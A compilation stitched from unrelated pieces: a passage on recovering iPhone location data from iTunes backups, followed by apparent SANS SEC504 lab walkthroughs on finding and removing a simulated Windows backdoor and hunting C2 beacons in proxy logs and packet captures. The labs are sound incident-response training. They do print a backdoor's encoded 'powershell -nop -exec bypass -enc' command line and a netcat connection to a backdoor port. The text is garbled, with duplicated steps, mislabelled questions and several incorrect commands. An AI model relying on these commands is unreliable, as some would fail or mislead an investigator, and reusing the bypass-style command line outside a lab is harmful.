In April 2011, security researcher and former Apple employee Pete Warden disclosed a privacy issue with the popular Apple iPhone/iPad iOS operating system. After a significant investigation, Mr. Warden revealed proof that the Apple iOS operating system actually tracked and recorded the GPS coordinates of the device and stored them in a database on the phone called consolidated.db. Inside this database, a table named Cell-Location contained the GPS points the phone had collected. The device determined the location information by triangulating off the nearest cellphone towers to provide the best service for the device user. However, as Mr. Warden suggested, this same data could be used maliciously to track the entire movements an iPhone/iPod user. Furthermore, the process used to backup and store a copy of the mobile device to a computer also recorded this information. While the location-recording information has been removed from the Apple iOS operating system functionality, the process Mr. Warden used to recover the data remains. In this section, we will repeat this process to extract information from iOS mobile device backups. When a user performs a backup of his iPhone or iPad device, it stores files in a special directory on his or her machine. For the Windows operating system, the iTunes application stores that mobile device backup directory under the user’s profile directory at C:\Documents and Settings\<USERNAME>\Application Data\AppleComputer\MobileSync\Backup. On Mac OS X, this directory exists at /Users/<USERNAME>/Library/Application Support/MobileSync/Backup/. The iTunes application that backs up mobile devices stores all device backups in these directories. Let’s examine a recent backup of my Apple iPhone. Examining the directory that stores our mobile directory backup, we see it contains over 1k unhelpfully named files. Each file contains a unique sequence of 40 characters that provide absolutely no description of the material stored in the specific file.

investigator$ ls

To get a little more information about each file, we will use the UNIX command *file* to extract the file type of each file. This command uses the first identifying bytes of a file header and footer to determine the file type. This provides us slightly more information, as we see that the mobile backup directory contains some sqlite3 databases, JPEG images, raw data, and ASCII text files.

investigator$ file \*

While the *file* command does let us know that some of the files contain SQLite databases, it does very little to describe the content in each database. We will use a Python script to quickly enumerate all the tables in each database found in the entire mobile backup directory. Notice that we will again utilize the sqlite3 Python bindings in our example script. Our script lists the contents of the working directory and then attempts to make a database connection to each file. For those that succeed in making a connection, the script executes the command

SELECT *tbl\_name* FROM *sqlite\_master* WHERE *type == ‘table’*

Each SQLite database maintains a table named sqlite\_master that contains the overall database structure, showing the overall schema of the database. The previous command allows us to enumerate out the DB schema.

**SEC504 - Hacker Tools, Techniques and Incident Handling - GIAC Certified Incident Handler (GCIH)**

sec504@slingshot:~$ update-wiki

C:\WINDOWS\system32> update-wiki

**Search Function**

* Wildcards: \*net\*, net\*
* Title: Netcat\*, body:\*pivot\*
* Multiple keywords are treated as OR clauses, boosting hits that match both words. Use a + modifier to force and AND condition, or a - term to exclude a term, +falsimentis, -malware
* Fuzzy Matches: If you aren’t sure of a spelling, you can use a fuzzy match that will substitute different letters: DAPT~1 will match DAPT, meterpreter~2 will match Meterpreter, etc.

**Ping Linux from Windows** PS C:\Users\Sec504> Test-NetConnection 10.10.75.1

sec504@slingshot:~$ ping 10.10.0.1

*You must press CTRL+C to stop the ping command in Linux.*

*First, try a reboot. Both the Windows and Linux VM will reset network settings at boot time. Often, rebooting the VM is the fastest and easiest option to resolve a connectivity issue.*

**Verify your IP address on Linux**

*Check to make sure your Linux system has the correct IP address:*

sec504@slingshot~$ ip a show dev eth0

**Verify your IP address on Windows**

*Check to make sure your Windows system has the correct IP address:*

PS C:\Users\Sec504> Get-NetIPConfiguration

*For Sections 1-5, the IP should be 10.10.0.1. For section 6, the IP address will be obtained from VMWare DHCP through a NAT interface.*

**Reset Windows Network Settings**

Reset your Windows VM network settings for section 6 (the CTF) using the following steps:

1. Locate the connect-net.bat script on your Windows desktop
2. Right-click on the connect-net.bat script
3. Click *run as administrator*
4. Press any key to continue when prompted in the Command Prompt window.

**Verify VMWare**

Make sure VMWare has your Linux VM set in the NAT networking mode. In some rare cases, it may be necessary to uninstall and reinstall VMWare to restore broken networking functionality.

**Lab 1.1: Live Windows Examination with PowerShell**

Identify the PowerShell commands that will allow you to examine various aspects of a system and find signs of a possible compromise. Make sure to include commands that will:

* Show what programs are running
* Show listening ports
* Show what accounts exist on the system
* Show what groups exist, and which accounts are in each group
* Show what network shares are available
* Identify registry keys associated with Auto Start Extensibility Points
* Identify interesting files

To get administrator privileges in PowerShell click Start, then right-click on the PowerShell session then click More | Run as administrator.

**Prepare the Environment**

From PowerShell, change to the C:\Tools\LiveInvestigation directory as shown here:

PS C:\WINDOWS\system32> cd C:\Tools\Investigation\

PS C:\Tools\Investigation>

Next, run the live-investigation-setup.ps1 script as shown here to prepare your lab VM for analysis.

PS C:\Tools\Investigation> .\live-investigation-setup.ps1

**Process Enumeration**

PS C:\Tools\LiveInvestigation> Get-Process

In this output,we see several columns of information:

* Handles: A count of handles (open files, sockets, and pipe resources)
* NPM(K): The amount of non-paged memory the process is using in kilobytes.
* PM(K): The amount of paged memory the process is using in kilobytes.
* WS(K): The process working size set (the amount of total memory allocated to a process) in kilobytes
* CPU(s): The amount of processor time that the processor has used on all processors, in seconds
* Id: The unique identifier for a process so that the the system can reference it by the numeric value, also known as a PID.
* ProcessName: The process name, often the executable name

PS C:\Tools\LiveInvestigation> Get-Process lsass

By specifying or omitting the process name we can get focused on broad information about all processes. We can also get more information about the process than the default columns displayed. To see more information, re-run the previous command, adding a pipeline character | then Select-Object -Property \* to retrieve all the process fields, as shown here.

PS C:\Tools\LiveInvestigation> Get-Process lsass | Select-Object - Property \*

Typically, you will only be interested in this level of detail for specific processes. The problem that we run into is that it can be very difficult to parse through all of this process information to identify Indicators of Compromise (IOC).

PS C:\Tools\LiveInvestigation> Get-Process | Select-Object -Property Path, Name, Id

In the previous command, we requested three specific fields of information: Path, Name,and Id (process Id). Unlike the earlier Get-Process command where we selected all properties, this time we focused on three properties which is more reasonable to see on your screen.

Next, let’s look at another PowerShell command to filter the results further: Where-Object. The Where-Object command allows us to filter the results to match specific fields. For example, we can retrieve a list all processes where the process name is explorer. Run the command example using Where-Object as shown here.

PS C:\Tools\LiveInvestigation> Get-Process | Select-Object -Property Path, Name, Id | Where-Object -Property Name -eq explorer

Press the up arrow to return to the previous command. Modify the Where-Object command to match any path where the word temp is present, using wildcards to match the partial string, as shown here.

PS C:\Tools\LiveInvestigation> Get-Process | Select-Object -Property Path, Name, Id | Where-Object -Property Path -Like “\*temp\*”

In this output, we’ve identified a suspicious process: calcache. It’s possible the process could be legitimate though, so let’s continue our analysis to investigate other factors as well.

**Network Enumeration**

In the previous section we looked at gathering information about running processes, but we can also investigate the network listeners and connections on this host.

PS C:\Tools\LiveInvestigation> Get-NetTCPConnection

The output of this command is wide which can make it hard to see all at once. Let’s apply a similar technique like we did for Get-Process to display only the LocalAddress, LocalPort, State, and OwningProcess fields, as shown here.

PS C:\Tools\LiveInvestigation> Get-NetTCPConnection | Select-Object - Property LocalAddress, LocalPort, State, OwningProcess

In this output we see several columns of information:

* LocalAddress: The IP address that will accept connections for this listener or is used for the outbound connection
* LocalPort: The local port number used for the connection; if the state is Listen, then this is the listening TCP port number
* State: The state of the network connection
* OwningProcess: The process ID of the process that made the connection or is listening for connections

Here we see several processes listening on the local system, awaiting connections. One process is listening on all interfaces (local address 0.0.0.0) and is not a common Windows port number: 4444. Port 4444 is also commonly associated with the Metasploit framework, which we’ll investigate later in class. The process ID for the process listening on TCP port 4444 is 6896 in this example. We know the process ID, but not the process name.

PS C:\Tools\LiveInvestigation> Get-Process | Select-Object -Property Path, Name, Id | Where-Object -Property Id -eq 6896

Aha! The calcache process returns, and we learn that it is also listening on TCP port 4444. Let’s terminate this process. Press the up arrow to return to the previous command and extend the pipeline to add | Stop-Process. Then run Get-Process calcache to ensure the process is stopped.

PS C:\Tools\LiveInvestigation> Get-Process | Select-Object -Property Path, Name, Id | Where-Object -Property Id -eq 6896 | Stop-Process

PS C:\Tools\LiveInvestigation> Get-Process calcache

**Registry Startup Keys**

Using PowerShell, you can use the Get-ChildItem command to enumerate registry keys, and the Get-ItemProperty command to enumerate registry values in a specific key. From your PowerShell session, use Get-ChildItem to enumerate the PowerShell drive HKCU:, as shown here.

PS C:\Tools\LiveInvestigation> Get-ChildItem HKCU:

In this output, you will see the Name column, which will be registry keys, and the Property column, which will be registry values in the top-level keys for HKEY\_CURRENT\_USER hive (abbreviated HKCU). By treating the registry like a file system, we can use PowerShell to check for the Run and RunOnce registry keys. Check the four ASEP registry keys for process using Get-ItemProperty, as shown here:

PS C:\Tools\LiveInvestigation> Get-ItemProperty “HKLM:\Software\Microsoft\Windows\CurrentVersion\Run”

PS C:\Tools\LiveInvestigation> Get-ItemProperty “HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce”

PS C:\Tools\LiveInvestigation> Get-ItemProperty “HKLM:\Software\Microsoft\Windows\CurrentVersion\Run”

PS C:\Tools\LiveInvestigation> Get-ItemProperty “HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce”

PS C:\Tools\LiveInvestigation>

In this output we see that there are no registry keys in either of the RunOnce keys, but there are values in both the HKLM and HKCU run keys. For the HKLM run key we see two programs (SecurityHealth and VMWare User Process), followed by property values specific to the interrogated key. For the HKCU Run Command we see an entry for Calcache, which corresponds to the Calcache process we identified earlier. For now, let’s go ahead and remove these threats until you are able to engage your IR team and decision makers.

PS C:\Tools\LiveInvestigation> Remove-Item Property -Path “HKCU:\Software\Microsoft\Windows\CurrentVersion\Run” -Name “Calcache”

PS C:\Tools\LiveInvestigation> Get-ItemProperty “HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Calcache”

We removed the ASEP value, and then we continued it by checking the property with Get-ItemProperty (which returns an error, because the value no longer exists). Next, we remove the calcache.exe program as shown here.

PS C:\Tools\LiveInvestigation> Remove-Item $env:temp\calcache.exe

PS C:\Tools\LiveInvestigation> Get-ChildItem $env:temp\calcache.exe

*If you get an error: Cannot remove item, you will need to return to the earlier step in which you stopped the calcache.exe process. Be sure to replace the sample process ID (6896) with the process ID used by calcache.exe on your system.*

**Differential Analysis**

So far the analysis has gone well, but there are many other opportunities for an attacker to deploy malware on the system. As incident responders, we need to capture a baseline of information to use in our assessment, then compare the the current environment to the known-good baseline. This process is known as differential analysis. We have created three baseline files for services, scheduled tasks, and local users, saved in the C:\Tools\LiveInvestigation\baseline folder. Examine the files using Get-ChildItem, as shown here.

PS C:\Tools\Investigation> Get-ChildItem baseline

These three files are generated with the following commands (*don’t run these commands* - they are included for illustration purposes only):

* Get-Service | Select-Object -ExpandProperty Name | Out-File “baseline/services.txt”
* Get-ScheduledTask | Select-Object -ExpandProperty TaskName | Out-File “baseline/scheduledtasks.txt”
* Get-LocalUser | Select-Object -ExpandProperty Name | Out-File “baseline/localusers.txt”

These commands enumerate a list of services, scheduled tasks, and local users. We use Select-Object with the -ExpandProperty parameter to retrieve the *name* information for each command (-ExpandProperty will omit the normal header output observed when you use -Property). From your PowerShell session, run the same commands, but instead of saving the output to the baseline directory, save the output to the current directory, as shown here.

PS C:\Tools\LiveInvestigation> Get-Service | Select-Object - ExpandProperty Name | Out-File services.txt

PS C:\Tools\LiveInvestigation> Get-ScheduledTask | Select-Object - ExpandProperty TaskName | Out-File scheduledtasks.txt

PS C:\Tools\LiveInvestigation> Get-ScheduledTask | Select-Object - ExpandProperty Name | Out-File localusers.txt

PS C:\Tools\LiveInvestigation>

**Services Differential Analysis**

First we’ll look at the service list. Start by inspecting the first ten lines of the services.txt file using Get-Content, as shown here.

PS C:\Tools\LiveInvestigation> Get-Content .\services.txt -First 10

Services.txt is a list of service names. Repeat this command without the -First argument, saving the file contents in a variable called $servicesnow, as shown here.

PS C:\Tools\LiveInvestigation> $servicesnow = Get-Content .\services.txt

PS C:\Tools\LiveInvestigation> $servicesbaseline = Get-Content baseline\services.txt

PS C:\Tools\LiveInvestigation>

With the two variables representing the services now and the services baseline, we can compare them to identify differences using the Compare-Object command. Run the Compare-Object command with the two variables, as shown here.

PS C:\Tools\LiveInvestigation> Compare-Object $servicesbaseline $servicesnow

In the Compare-Object output, you will see a new service: *Dynamics*. Like the Calcache process that we saw earlier, we may be suspicious about this new service, but we don’t know if this new service is malicious yet.

**Users Differential Analysis**

Let’s repeat this process, this time using differential analysis to assess the local users on the system. From your PowerShell session, run the localusers.txt file into a variable called $usersnow with Get-Content, as shown here.

PS C:\Tools\LiveInvestigation> $usersnow = Get-Content .\localusers.txt

PS C:\Tools\LiveInvestigation>

Next, read the baseline file baseline/localusers.txt file into a variable called $usersbaseline with Get-Content, as shown here.

PS C:\Tools\LiveInvestigation> $usersbaseline = Get-Content .\baseline\localusers.txt

PS C:\Tools\LiveInvestigation>

Your turn. Use Compare-Object to compare the two variables to answer the question below.

**What is the name of the new user account?** *Dynamics*

The added username is dynamics.

**Scheduled Tasks Differential Analysis**

Scheduled tasks are jobs that run on Windows at a specific time and with a specific frequency. The trigger can be clock time (run this job every day at noon), or it can be based on other attributes including observed events in the Windows Event Log. To see a list of scheduled tasks you can use the PowerShell Get-ScheduledTask command.

PS C:\Tools\LiveInvestigation> Get-ScheduledTask

Use your differential analysis skills to answer the following question.

Question: What is the name of the added scheduled task?

PS C:\Tools\LiveInvestigation> $scheduledtasksnow = Get-Content .\scheduledtasks.txt

PS C:\Tools\LiveInvestigation> $scheduledtasksbaseline = Get-Content .\baseline\scheduledtasks.txt

Next, compare the two variables using Compare-Object, as shown here. The added scheduled task is *Microsoft eDynamics*.

**Scheduled Task Detail**

So far you’ve identified several changes in the system that point to malicious behavior, but let’s continue to investigate the scheduled task to get additional detail. Scheduled tasks can be complex, but we can examine the contents of the task using the Export-ScheduledTask command. Do that now, as shown here.

PS C:\Tools\LiveInvestigation> Export-ScheduledTask -TaskName “Microsoft eDynamics”

Scheduled tasks are stored as XML data structures, so the Export-ScheduledTask shows us that detail here. We can learn a lot about the scheduled task by evaluating this output, but look at the closing element named Actions. Here, we see that the scheduled task launches a command C:\WINDOWS\dynamics.exe, and it uses the sc.exe (Service Control) utility to start the service whenever this task is executed on the host. At this point you would normally escalate findings to a stakeholder to confirm that this is not expected behavior for the system. For this exercise, let’s proceed with the removal of the identified threats.

**Removing Microsoft eDynamics**

By analyzing the scheduled task, and through differential analysis, we identified several components of this malicious software:

* A service named dynamics (differential analysis)
* A process named dynamics (scheduled task detail)
* A program named C:\WINDOWS\dynamics.exe (scheduled task detail)
* A scheduled task named *Microsoft eDynamics* (differential analysis)
* A local user account named dynamics (differential analysis)

From your PowerShell session, stop the Dynamics service using Stop-Service, as shown here.

PS C:\Tools\LiveInvestigation> Stop-Service -Name Dynamics

PS C:\Tools\LiveInvestigation>

Next, stop the Dynamics process using Get-Process and Stop-Process in a pipeline, as shown here.

PS C:\Tools\LiveInvestigation> Get-Process dynamics | Stop-Process

PS C:\Tools\LiveInvestigation>

Next, remove the dynamics.exe directory from the C:\Windows directory, as shown here.

PS C:\Tools\LiveInvestigation> Get-Process dynamics | Stop-Process

PS C:\Tools\LiveInvestigation>

Next, remove the dynamics.exe directory from the C:\Windows directory, as shown here.

PS C:\Tools\LiveInvestigation> Remove-Item C:\Windows\Dynamics.exe

PS C:\Tools\LiveInvestigation>

Next, remove the service. This is a little tricky in Windows 10 with PowerShell versions before 6.0 (which includes the PowerShell interpreter shipped with Windows 10 systems). To remove the service using PowerShell we need to create a Common Information Model (CIM) instance and pipe output to Remove-CimInstance: Get-CimInstance -ClassName Win32\_Service -Filter “Name=’Dynamics’” | Remove-CimInstance. Feel free to run that command, or you can use the legacy Windows CMD sc utility to delete the service, which is much less error-prone, as shown here.

PS C:\Tools\LiveInvestigation> sc.exe delete dynamics

Next, remove the scheduled task, using Unregister-ScheduledTask, as shown here. When prompted, answer Y to confirm.

PS C:\Tools\LiveInvestigation> Unregister-ScheduledTask -TaskName “Microsoft eDynamics”

Finally, remove the local user using Remove-LocalUser, as shown here.

PS C:\Tools\LiveInvestigation> Remove-LocalUser -Name dynamics

PS C:\Tools\LiveInvestigation>

Nice job! You have successfully applied several technqiues to perform a Live Investigation using PowerShell to assess, enumerate, and remove threats from the system!

*Note: If you haven’t used PowerShell before, some of the commands we use in this lab may look strange. You’ll have more opportunity to learn PowerShell in the PowerShell Olympics event.*

We included an optional script that will automate all of the cleanup tasks. You can optionally run this task to ensure that all remnants of the implants are removed from the system, by running live-investigation-teardown.ps1, as shown here.

**Bonus (if time permits or Homework)**

We have added a fun script to practice your Windows live investigation skills using PowerShell. Open the folder labeled Tools on the Windows desktop. Right-click on the program 504lab.exe, then click Run as Administrator, as shown here. This program will open a terminal that asks you to complete several analysis task, replicating an environment where you may have to evaluate malware. To continue, open a PowerShell session as an Administrator by right-clicking on the Windows PowerShell desktop icon and choosing Run as Administrator. After launching the PowerShell session, change to the C:\Temp directory to create your working files as shown here.

PS C:\WINDOWS\system32> cd \temp

PS C:\temp>

Answer the questions for the bonus lab in the 504lab.exe window. Use the challenge walkthrough below to verify your answers or if you get stuck and want some more assistance!

**Question 1**

*What TCP port is the backdoor listening on?*

To answer this question we create a baseline of the listening TCP ports, as shown here.

PS C:\temp> Get-NetTCPConnection -State Listen >tcpports-baseline.txt

We repeat this command after the target process starts, saving the output to a new file. Then, we can read the two lines into variables and compare them to identify the differences, as shown here.

PS C:\temp> Get-NetTCPConnection -State Listen >tcpports-current.txt

PS C:\temp> $baseline = Get-Content .\tcppports-baseline.txt

PS C:\temp> $current = Get-Content .\tcpports-current.txt

PS C:\temp> Compare-Object $baseline $current

The Compare-Object output shows a single line of difference, with the 2nd option (1572 in this example) representing the new listening TCP port.

**Question 2**

*What is the process ID number of the backdoor?*

We know the listening TCP port, but we don’t yet have the process ID. We can retrieve this information by running Get-NetTCPConnection -State Listen again. However, this will return a lot of output, so we create a pipeline to filter the results using Where-Object, as shown here.

PS C:\temp> Get-NetTCPConnection -State Listen | Where-Object - Property LocalPort -EQ 1572 | Select-Object -Property OwningProcess

**Question 3**

*What is the process ID number of the backdoor?*

We don’t know the parent process ID yet of the backdoor, and in order to do so, we will need to use the Get-CimInstance -Class Win32\_Process command, as shown here.

PS C:\temp> Get-CimInstance -Class Win32\_Process | Where-Object - Property ProcessId -EQ 556

The default output of Get-CimInstance does not display the parent process ID. Repeat the last command, adding another pipeline command to retrieve the ParentProcessId property using Select-Object, as shown here.

PS C:\temp> Get-CimInstance -Class Win32\_Process | Where-Obejct - Property ProcessId -EQ 556 | Select-Object -Property ParentProcessId

Here we see the parent process ID for the backdoor is 2060.

**Question 4**

*What is the flag shown when you connect to the backdoor?*

This question suggests that we use the Netcat command (nc.exe) to connect to the listening TCP port to retrieve a flag. Run the nc.exe command, specifying the IP address 127.0.0.1 and the listening port number, as shown here.

PS C:\temp> nc 127.0.0.1 1572

TheFlagisBack935980539

Press CTRL + C to close the Netcat connection after you see the flag information.

**Question 5**

*What TCP port is the backdoor listening on now?*

PS C:\temp> Get-NetTCPConnection -State Listen | Where-Object - Property OwningProcess -EQ 556 | Select-Object LocalPort

**Question 6**

You are asked to stop the backdoor process using PowerShell. Since we know the process ID, we can use Get-Process with a Where-Object filter to return only the backdoor process, as shown here.

PS C:\temp> Get-Process | Where-Object -Property Id -EQ 2060

You could also, use the following in case you don’t need a pretty-printed output:

PS C:\temp> Get-Process -Id 2060

Use either solution to terminate the process. Re-run the Get-Process command, building a pipeline that ends with Stop-Process, as shown here.

PS C:\temp> Get-Process -Id 2060 | Stop-Process

**Question 7**

*What is the process ID number of the backdoor?*

You are asked to identify the process ID of a new backdoor. The clue here is that the new backdoor is a PowerShell-based process. We can identify a list of PowerShell processes using Get-Process, as shown here.

PS C:\temp> Get-Process -Name powershell

The problem is that this output identifies both the backdoor PowerShell session, and the PowerShell session you are using for analysis. To differentiate, we can run the previous command again, adding a pipeline to retrieve the process ID and the process start time, as shown here.

PS C:\temp> Get-Process -Name powershell | Select-Object Id, StartTime

The PowerShell process with the more recent start time will be the backdoor process.

**Question 8**

*What is the flag contained in the script executed by the backdoor?*

You can’t use the Get-Process to solve this task since Get-Process won’t reveal the command-line details. Instead, use Get-CimInstance -Class Win32\_Process to retrieve the CommandLine property using Where-Object to filter the results by ProcessId. Since the CommandLine value is long, it likely won’t fit in the width of your PowerShell window, leading PowerShell to truncate the property value with an ellipsis. Use Select-Object -ExpandProperty CommandLine at the end of the pipeline to override this behavior, displaying the entire command line wrapped across multiple lines, as shown.

PS C:\temp> Get-CimInstance -Class Win32\_Process | Where-Object - Property ProcessId -EQ 180 | Select-Object -ExpandProperty CommandLine

Powershell.exe -nop -exec bypass -enc [FLAG]

Next, we need to decode the Base64 value seen on the command line following -enc (this value will wrap several lines too, so it may be useful to copy-paste the output into Notepad, or redirect the output using Out-File and edit the output file in Notepad to remove the line breaks. You can decode the flag using CyberChef, or you can decode from PowerShell, as shown here.

PS C:\temp> [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(“FLAG”))

while($true){$flag = “Sasquatch4820556114”; [System.Threading.Thread]::Sleep(10000)};

**Question 9**

You are finally asked to kill the backdoor process. We know the process Id from our earlier analysis, so we can use a combination of Get-Process and Stop-Process to kill the process, as shown here.

PS C:\temp> Get-Process -Id 180 | Stop-Process

PS C:\temp>

***Well done!***

**Lab 1.2: Network Investigation**

Read the scenario at the start of the Walkthrough section. Once you’ve familiarized yourself with the scenario, analyze the following files in the /home/sec504/labs/falsimentis directory:

* access.log
* Falsimentis.pcap

As you analyze these files, try to answer the following questions:

* What systems are likely compromised in the organization?
* When dd the threat attackers begin their attack?
* What host(s) are the threat actors using for command and control (C2)?

Taking notes is vital to effective incident response, so let’s record some key facts from the scenario:

* The CEO locked their workstation and left for work around 11:50AM.
* The CEO returned from lunch and logged on to their workstation at around 1:05PM.
* The ransom note popped up after the CEO logged on.
* The ransom note is hosted at <https://midnitemeerkats.com/note/>
* The note states the victim has 24 hours to pay, or the files will be deleted.
* Compromised systems
  + 172.16.42.107 (FM-CEO)

The first three facts can be used as an anchor to start a timeline. The fact that the pop-up occurred implies there must have been threat actor activity prior to this point in time, since they would need to install whatever caused the popup. The fourth fact (the location of the ransom note) can be used as a pivot when searching through evidence. The 24-hour deadline (fifth fact) may be used by the business decision makers when deciding how to proceed. The fact about a compromised system is useful as a starting point for determining the scope, or how widespread the incident is. Before proceeding, you will need to verify that an incident actually occurred.

**Correlating Network Traffic**

Let’s start by identifying network traffic that correlates with the CEO’s statement about the ransom note appearing at around 1:05 PM. This is a good idea because human memory is less than perfect. It would not be uncommon if the CEO recalled the ransom note appearing at 1:30PM, even if it actually appeared at 1:05PM. To do this start by looking at the Squid access.log file. Recall that Squid uses this file to record information about HTTP and HTTPS requests. Since threat actors commonly use these protocols for command and control (C2) communication, the Squid logs may contain useful clues. Squid proxy logs usually capture traffic only on the standard ports for HTTP and HTTPS (TCP ports 80 and 443 respectively). If the threat actors used HTTP and/or HTTPS on non-standard ports, then the Squid logs likely will not have records of the requests.

To start,

sec504@slingshot:~$ cd /home/sec504/labs/falsimentis

sec504@slingshot:~$ grep midnitemeerkats access.log

The output shows Squid’s native logging format. Each line contains multiple fields, most of which are separated by one or more spaces. Let’s just focus on a few relevant fields: The time of the request, the requesting client, and the requested URL. These are the first, third, and seventh fields, respectively. To extract just these fields, use the awk command as shown here. Awk ‘/midnitemmerkats/ {print $1, $3, $7}’ access.log

The awk command breaks down as follows:

* /midnnitemeerkats/ - only process lines that contain string midnitemeerkats
* Print - printthe following fields
* $1 - first field (timestamp)
* $3 - third field (requesting client)
* $7 - seventh field (requested URL)

The reduced output is easier to read than the original log contents. However, the timestamp field is in POSIX time format (also known as Epoch time), the number of seconds since January 1st 1970 00:00:00 UTC. With Squid logs, the timestamp also includes a millisecond resolution (the part to the right of the decimal point). To display POSIX time in a human-friendly format, you can use the strftime function with awk as shown here.

sec504@slingshot:~/labs/falsimentis$ TZ = America/Los\_Angeles awk ‘/midnitemeerkats/’ {print strftime(“%T”, $1), $3, $7}’ access.log.

Let’s breakdown the differences from this command line, and the previous awk command line:

* TZ = America/Los\_Angeles - temporarily sets the local timezone to America/Los\_Angeles. This is needed because the timestamps are stored in the UTC timezone, and the strftime function can only display timestamps according to either UTC, or the local system timezone.
* strftime(“%T”, $1) - print the timestamp in HH:MM:SS format.

Based on the output, you can see network traffic correlates with the CEO’s statement about the ransom note appearing around 1:05 PM.

**Looking for Beacons in access.log**

Now let’s see if there are any footprints revealing network beacons. This usually means that you will see many requests to the same URL, at fairly consistent time intervals. Rather than attempting to use awk, try using a tool called findbeacons.py, which does as the name suggests: it finds beacons. To tell findbeacons.py what time interval to look for use the -i argument. To specify a minimum number of beacon requests (to reduce false positives) use the -c argument.

sec504@slingshot:~/labs/falsimentis: ./findbeacons.py -i 5 -c 10 172.16.42.107 access.log

Sites that had at least 10 5-second intervals

The findbeacons.py command breaks down as follows:

* -i 5 looks for beacons that are at 5-second intervals
* -c 10 - look for a minimum of 10 beacons
* 172.16.42.107 - look for beacon traffic from host 172.16.42.107

The output of findbeacons.py shows one URL that has several thousand packets at 5-second intervals, http://www1-google-analytics .com/collect. This URL is suspicious not only because of the large number of regularly-spaced requests, but also because it appears similar to [www.google-analytics.](http://www.google-analytics.co)com, which is a legitimate site.

**Finding More Compromised Hosts**

To find additional hosts in the network that are compromised, pivot on the domain www1-google-analytics.com by searching for it in the access.log file as shown.

sec504@slingshot:~/labs/falsimentis awk ‘/www1-google-analytics.com/ {print $3}’ access.log | sort -u

This command-line breaks down into the following components:

* awk ‘/www1-google-analytics.com/ {print $3}’; access.log - print the third field (requesting the IP address) for lines that contain www1-google-analytics.com in the file access.log
* Sort -u - sort the list of IP addresses, returning unique values

**Finding Even More Compromised Hosts**

Up to this point we’ve been searching through the access.log file, which only reflects HTTP and HTTPS traffic recorded by the proxy. Any HTTP and HTTPS traffic on non-standard ports would not be visible. So, let’s pivot again on this host, but this time by searching through the packet capture file.

To do this we need to first determine the IP address of www1-google-analytics.com. This information can be found in the access.log file as shown here.

sec504@slingshot:~/labs/falsimentis$ grep www1-google-analytics.com access.log | head -n 1

Here, we can see the IP address of www1-google-analytics.com is 167.172.201.123. Now we can search through the packet capture file falismentis.pcap for traffic destined to this IP as shown here.

sec504@slingshot:~/labs/falsimentis$ tcpdump -nr falsimentis.pcap dst host 167.172.201.123 | cut -d ‘ ‘ -f 3 | cut -d ‘.’ -f 1-4 | sort -u

Broken into pieces, the command line is as follows:

* Tcpdump -nr falsimentis.pcap dst host 167.172.201.123 - print packets from the file falsimentis.pcap that are destined for host 167.172.201.123
* Cut -d ‘ ‘ -f 3 - return the third space-delimited field from the tcpdump output (the IP address and port number).
* Cut -d ‘.’ -f 1-4 - cut the IP address and port number combination into pieces at the . character, and then select the first four fields (IP address).
* Sort the IP addresses with sort, displaying only unique lines (-u).

The output from tcpdump reveals three additional hosts sending traffic to www1-google-analytics.com, 172.16.42.2 (the domain controller), 172.16.42.3 (the file server), and 172.16.42.108 (the VP of Operation’s workstation). As before, it would be a good idea to add these systems to the list of compromised systems.

**Finding the First Packet**

To get an estimate when the malicious traffic started, we can examine the first packet that was sent from each compromised host to www1-google-analytics.com (167.172.201.123). This can be done with a for loop as shown here.

sec504@slingshot:~/labs/falsimentis$ for octet in 2 3 103 105 107 108 109; do TZ=PST7PDT tcpdump -tttt -n -r falsimentis.pcap -c “src host 172.16.42.$octet and dst host 167.172.201.123” 2>/dev/null; done

*Note: Daylight savings time is tricky for anyone dealing with time. Tcpdump attempts to decode the timezone correctly, but may fail to do so depending on the time of year. If your tcpdump timestamp output seems an hour off, you can experiment with changing the TZ= value to PDT7 or PST7 to force daylight or standard time.*

There is a lot going on with this for loop; it breaks down as follows:

* For octet in 2 3 103 105 107 108 109; - defines the loop variable, octet, and a list of numbers to iterate across. This list contains the last octed of each compromised system.
* Do - denotes the start of the commands that are executed in each iteration of the loop.
* TZ=PST7PDT - Set the timezone used to display timestamps. Unlike the awk command, tcpdump needs the daylight savings time information included in the timezone specification.
* Tcpdump -ttt -n -r falsimentis.pcap -c 1 - show timestamps in HH:MM:SS.(fractions of a second) format, don’t resolve hosts or port numbers, read packets from the file falsimentis.pcap, and stop after finding the first packet that matches the filter.
* “Src host 172.16.42.$octet and dst host 167.172.201.123” - Search for traffic originating from one of the systems believed to be compromised, going to 167.172.201.123 .
* 2 >/dev/null - discard some of the irrelevant tcpdump output.
* Done - denotes the end of commands that are executed in each iteration of the loop.

Notice that the timestamps for these packets varies from 9:10 AM to 9:57 AM. However, these timestamps are for packets destined for port 8090, *not* port 80 or 443. To find the first timestamp for port 80 traffic, modify the previous for loop as shown here.

sec504@slingshot:~labs/falsimentis$ for octet in 2 3 103 105 107 108 109; do TZ=PST7PDT tcpdump -tttt -n -r falsimentis.pcap -c 1 src host 172.16.42.$octet and dst host 167.172.201.123 and dst port 80” 2>/dev/null; done

*Notice the end of the filter now contains and dst port 80, focusing on just HTTP traffic. The underlines have been added to the workbook to make the timestamps easier to read. They will not appear in your terminal.*

**Summary and Timeline of Events**

At this point there has been a fair amount of information uncovered, including a new C2 server ww1-google-analytics.com, and the scope of the incident has been expanded from the CEO’s workstation to almost every machine in the Falsimentis network. There are also specific timestamps gathered representing beaconing and other network activity. One way to represent this information is to create a *SE3R Diagram* as shown here. The horizontal line, called the *event line,* shows what events occurred at what points in time. The boxes near the bottom are called *knowledge bins* and are an efficient way to group related information together. This information in knowledge bins can add and enhance the information on the event line.

**Lab 1.3: Memory Investigation**

Read the continuation of the scenario at the start of the Walkthrough section. Once you’ve familiarized yourself with the updates, analyze the FM-TETRIS.mem file in the /home/sec504/falsimentis directory using Volatility to answer the following questions:

* What is the name of the process making connections to <http://www1-google-analytics.com>?
* Where is the process located on the file system?
* What additional suspicious processes are there on the system?
* Identify an additional service used by the Midnite Meerkats

sec504@slingshot:~ cd ~/labs/falsimentis/

sec504@slingshot: ~/labs/falsimentis

**Preprocessing with Volatility**

One common investigative practice is to preprocess evidence, saving the results to text files so that multiple searches through it are faster. Since you’re analyzing memory images, this means running Volatility commands and saving the output.

Run Volatility’s vol command several times for each of the following plugins, saving the output a file name that includes the hostname (fm-tetris) and the plugin name, as shown here.

* windows.netscan.NetScan
* windows.pstree.PsTree
* windows.pslist.PsList
* windows.cmdline.CmdLine
